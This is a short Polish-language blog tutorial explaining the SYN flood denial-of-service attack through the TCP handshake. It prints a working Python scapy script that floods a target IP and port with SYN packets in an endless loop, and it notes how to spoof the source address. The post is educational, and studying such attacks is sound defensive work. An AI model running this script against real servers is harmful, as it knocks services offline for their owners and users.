Mimo upływu czasu niektóre formy ataków się nie zmieniają, a jedynie ich postać się lekko modyfikuje. Do jednego z najprostszych ataków, które można wykorzystać na różne sposoby należy atak SYN flood. W związku z tym przybliżmy sobie nieco jego obraz.
Czym jest atak SYN flood?
Aby to zobrazować, przypomnijmy sobie w jaki sposób działa protokół TCP.
TCP A TCP B
1. CLOSED LISTEN
2. SYN-SENT --> <SEQ=100><CTL=SYN> --> SYN-RECEIVED
3. ESTABLISHED <-- <SEQ=300><ACK=101><CTL=SYN,ACK> <-- SYN-RECEIVED
4. ESTABLISHED --> <SEQ=101><ACK=301><CTL=ACK> --> ESTABLISHED
5. ESTABLISHED --> <SEQ=101><ACK=301><CTL=ACK><DATA> --> ESTABLISHED
Dokładne wyjaśnienie znajdziecie w innym naszym poście. To co musimy wiedzieć na ten komunikacji TCP to to, że klient (TCP A) przesyła żądanie nawiązania połączenia, wysyłając do serwera (TCP B) komunikat SYN
. Na to serwer odpowiada komunikatem SYN-ACK
, a klient ponownie przesyła komunikat – tym razem ACK
. W ten sposób zostaje nawiązane połączenie. Tutaj też dochodzimy do sedna sprawy.
W ataku SYN flood atakujący przesyła pakiety SYN
jeden po drugim (często też zdarza się, że na różne porty sieciowe). W ten sposób serwer odpowiada na każdą próbę połączenia pakietem SYN-ACK
, co docelowo ma prowadzić do przeciążenia i zablokowania usług serwera.
Budowa skryptu
Na początek spójrzmy na prosty skrypt przygotowany w języku Python.
from scapy.all import *
target_ip = "127.0.0.1"
target_port = 80
ip = IP(dst = target_ip)
tcp = TCP(sport = RandShort(), dport = target_port, flags = "S")
raw = Raw(b"X"*1024)
p = ip / tcp / raw
send(p, loop = 1, verbose = 0)
Najpierw inicjujemy zmienną przetrzymującą ip oraz port atakowanej maszyny. Następnie tworzymy pakiet, którego docelowym adresem jest adres atakowanego serwera (IP(dst = target_ip)
). W tym miejscu warto wspomnieć, że gdybyśmy chcieli sfałszować IP adres otwierającego połączenie, możemy podać opcjonalny parametr src
do w tworzeniu instancji klasy IP
. W kolejnych linijkach (TCP(sport = RandShort(), dport = target_port, flags = "S")
) tworzymy pakiet SYN
z losowym portem źródłowym i portem docelowym jako target_port
. Pozostało stworzyć dane (zmienna raw
), utworzyć warstwy (ip / tcp / raw
) i przesłać skonstruowany pakiet w pętli. W najlepszym wypadku serwer przestanie odpowiadać.
Źródła
https://pl.wikipedia.org/wiki/SYN_flood
https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/